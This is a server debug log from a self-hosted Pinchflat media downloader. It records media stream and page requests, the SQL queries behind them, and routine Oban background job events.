db=0.2ms idle=425.6ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."uuid" = ?) ["50105db7-92fb-4a77-8e04-d67f5f9480eb"] 17:01:35.106 [debug] Invalid range request for media item: 50105db7-92fb-4a77-8e04-d67f5f9480eb - serving full file 17:01:35.106 [info] Sent 200 in 574µs 17:01:55.859 [info] GET /sources/opml.xml 17:01:55.860 [debug] Processing with PinchflatWeb.Podcasts.PodcastController.opml_feed/2 Parameters: %{"route_token" => "a362970d-cc46-4e52-833f-3619d2417274"} Pipelines: [:maybe_basic_auth, :token_protected_route] 17:01:55.860 [debug] QUERY OK source="settings" db=0.1ms idle=866.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:01:55.860 [debug] QUERY OK source="sources" db=0.0ms idle=866.5ms SELECT s0."custom_name", s0."uuid" FROM "sources" AS s0 WHERE (s0."marked_for_deletion_at" IS NULL) ORDER BY s0."custom_name" [] 17:01:55.860 [info] Sent 200 in 700µs 17:01:56.798 [info] GET /media/7fd74fd9-cb8c-478d-85f2-3fd6bde91084/stream 17:01:56.798 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.stream/2 Parameters: %{"uuid" => "7fd74fd9-cb8c-478d-85f2-3fd6bde91084", "v" => "1784835582"} Pipelines: [:maybe_basic_auth] 17:01:56.798 [debug] QUERY OK source="media_items" db=0.1ms idle=1804.6ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."uuid" = ?) ["7fd74fd9-cb8c-478d-85f2-3fd6bde91084"] 17:01:56.798 [debug] Invalid range request for media item: 7fd74fd9-cb8c-478d-85f2-3fd6bde91084 - serving full file 17:01:56.798 [info] Sent 200 in 507µs 17:01:57.228 [info] {"source":"oban","duration":788,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:02:00.768 [info] {"source":"oban","duration":168,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 17:02:09.398 [info] GET /media/dcbf5f18-d2d2-4574-b52c-badc1a56df4c/stream 17:02:09.398 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.stream/2 Parameters: %{"uuid" => "dcbf5f18-d2d2-4574-b52c-badc1a56df4c", "v" => "1784586508"} Pipelines: [:maybe_basic_auth] 17:02:09.399 [debug] QUERY OK source="media_items" db=0.1ms idle=1399.0ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."uuid" = ?) ["dcbf5f18-d2d2-4574-b52c-badc1a56df4c"] 17:02:09.399 [debug] Invalid range request for media item: dcbf5f18-d2d2-4574-b52c-badc1a56df4c - serving full file 17:02:09.399 [info] Sent 200 in 543µs 17:02:27.230 [info] {"source":"oban","duration":713,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:02:57.231 [info] {"source":"oban","duration":365,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:03:00.768 [info] {"source":"oban","duration":116,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 17:03:09.290 [info] GET / 17:03:09.290 [debug] Processing with PinchflatWeb.Pages.PageController.home/2 Parameters: %{} Pipelines: [:browser] 17:03:09.290 [debug] QUERY OK source="settings" db=0.0ms idle=1290.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:03:09.290 [debug] QUERY OK source="media_profiles" db=0.0ms idle=515.4ms SELECT count(m0."id") FROM "media_profiles" AS m0 [] 17:03:09.290 [debug] QUERY OK source="sources" db=0.0ms idle=290.9ms SELECT count(s0."id") FROM "sources" AS s0 [] 17:03:09.293 [debug] QUERY OK source="media_items" db=3.0ms idle=291.0ms SELECT sum(m0."media_size_bytes") FROM "media_items" AS m0 WHERE (NOT (m0."media_filepath" IS NULL)) [] 17:03:09.294 [debug] QUERY OK source="media_items" db=0.3ms idle=294.1ms SELECT count(m0."id") FROM "media_items" AS m0 WHERE (NOT (m0."media_filepath" IS NULL)) [] 17:03:09.294 [debug] QUERY OK source="settings" db=0.0ms idle=3.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:03:09.294 [debug] QUERY OK source="settings" db=0.0ms idle=3.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:03:09.294 [debug] QUERY OK source="settings" db=0.0ms idle=3.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:03:09.295 [debug] QUERY OK source="media_items" db=0.4ms idle=1.1ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (NOT (m0."media_filepath" IS NULL)) [] 17:03:09.297 [debug] QUERY OK source="media_items" db=2.2ms idle=1.2ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (NOT (m0."media_filepath" IS NULL)) ORDER BY m0."id" DESC LIMIT ? OFFSET ? [5, 0] 17:03:09.298 [debug] QUERY OK source="sources" db=0.1ms idle=3.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" IN (?,?)) [2, 3] 17:03:09.301 [debug] QUERY OK source="media_items" db=3.3ms idle=3.8ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))) [] 17:03:09.305 [debug] QUERY OK source="media_items" db=3.3ms idle=7.0ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))) ORDER BY m0."id" DESC LIMIT ? OFFSET ? [5, 0] 17:03:09.305 [debug] QUERY OK source="tasks" db=0.1ms idle=9.9ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 17:03:09.305 [info] Sent 200 in 15ms 17:03:27.232 [info] {"source":"oban","duration":398,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:03:57.233 [info] {"source":"oban","duration":458,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:04:00.770 [info] {"source":"oban","duration":237,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 17:04:27.234 [info] {"source":"oban","duration":400,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:04:57.235 [info] {"source":"oban","duration":513,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:05:00.771 [info] {"source":"oban","duration":177,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 17:05:10.511 [info] GET / 17:05:10.511 [debug] Processing with PinchflatWeb.Pages.PageController.home/2 Parameters: %{} Pipelines: [:browser] 17:05:10.512 [debug] QUERY OK source="settings" db=0.0ms idle=1512.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:05:10.512 [debug] QUERY OK source="media_profiles" db=0.0ms idle=1512.3ms SELECT count(m0."id") FROM "media_profiles" AS m0 [] 17:05:10.512 [debug] QUERY OK source="sources" db=0.0ms idle=1512.4ms SELECT count(s0."id") FROM "sources" AS s0 [] 17:05:10.512 [debug] QUERY OK source="media_items" db=0.5ms idle=609.7ms SELECT sum(m0."media_size_bytes") FROM "media_items" AS m0 WHERE (NOT (m0."media_filepath" IS NULL)) [] 17:05:10.513 [debug] QUERY OK source="media_items" db=0.2ms idle=513.1ms SELECT count(m0."id") FROM "media_items" AS m0 WHERE (NOT (m0."media_filepath" IS NULL)) [] 17:05:10.513 [debug] QUERY OK source="settings" db=0.0ms idle=1.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:05:10.513 [debug] QUERY OK source="settings" db=0.0ms idle=1.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:05:10.513 [debug] QUERY OK source="settings" db=0.0ms idle=1.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:05:10.514 [debug] QUERY OK source="media_items" db=0.3ms idle=1.0ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (NOT (m0."media_filepath" IS NULL)) [] 17:05:10.514 [info] GET / 17:05:10.514 [debug] Processing with PinchflatWeb.Pages.PageController.home/2 Parameters: %{} Pipelines: [:browser] 17:05:10.515 [debug] QUERY OK source="media_items" db=0.4ms idle=1.3ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (NOT (m0."media_filepath" IS NULL)) ORDER BY m0."id" DESC LIMIT ? OFFSET ? [5, 0] 17:05:10.515 [debug] QUERY OK source="settings" db=0.1ms queue=0.2ms idle=1.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:05:10.515 [debug] QUERY OK source="sources" db=0.3ms idle=1.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" IN (?,?)) [2, 3] 17:05:10.515 [debug] QUERY OK source="media_profiles" db=0.3ms idle=1.7ms SELECT count(m0."id") FROM "media_profiles" AS m0 [] 17:05:10.516 [debug] QUERY OK source="sources" db=0.3ms queue=0.1ms idle=1.6ms SELECT count(s0."id") FROM "sources" AS s0 [] 17:05:10.517 [debug] QUERY OK source="media_items" db=0.6ms idle=1.1ms SELECT sum(m0."media_size_bytes") FROM "media_items" AS m0 WHERE (NOT (m0."media_filepath" IS NULL)) [] 17:05:10.517 [debug] QUERY OK source="media_items" db=0.4ms idle=1.6ms SELECT count(m0."id") FROM "media_items" AS m0 WHERE (NOT (m0."media_filepath" IS NULL)) [] 17:05:10.518 [debug] QUERY OK source="settings" db=0.0ms idle=1.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:05:10.518 [debug] QUERY OK source="settings" db=0.1ms idle=1.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:05:10.518 [debug] QUERY OK source="settings" db=0.1ms idle=1.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:05:10.519 [debug] QUERY OK source="media_items" db=3.2ms idle=1.2ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))) [] 17:05:10.519 [debug] QUERY OK source="media_items" db=0.2ms idle=1.6ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (NOT (m0."media_filepath" IS NULL)) [] 17:05:10.520 [debug] QUERY OK source="media_items" db=0.4ms idle=1.6ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (NOT (m0."media_filepath" IS NULL)) ORDER BY m0."id" DESC LIMIT ? OFFSET ? [5, 0] 17:05:10.520 [debug] QUERY OK source="sources" db=0.1ms idle=1.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" IN (?,?)) [2, 3] 17:05:10.521 [debug] QUERY OK source="media_items" db=1.5ms idle=1.5ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))) ORDER BY m0."id" DESC LIMIT ? OFFSET ? [5, 0] 17:05:10.521 [debug] QUERY OK source="tasks" db=0.1ms idle=1.6ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 17:05:10.522 [info] Sent 200 in 10ms 17:05:10.522 [debug] QUERY OK source="media_items" db=1.5ms idle=1.4ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))) [] 17:05:10.524 [debug] QUERY OK source="media_items" db=1.6ms idle=2.2ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))) ORDER BY m0."id" DESC LIMIT ? OFFSET ? [5, 0] 17:05:10.524 [debug] QUERY OK source="tasks" db=0.0ms idle=3.8ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 17:05:10.524 [info] Sent 200 in 9ms 17:05:27.236 [info] {"source":"oban","duration":479,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:05:57.237 [info] {"source":"oban","duration":572,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:06:00.772 [info] {"source":"oban","duration":199,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 17:06:27.238 [info] 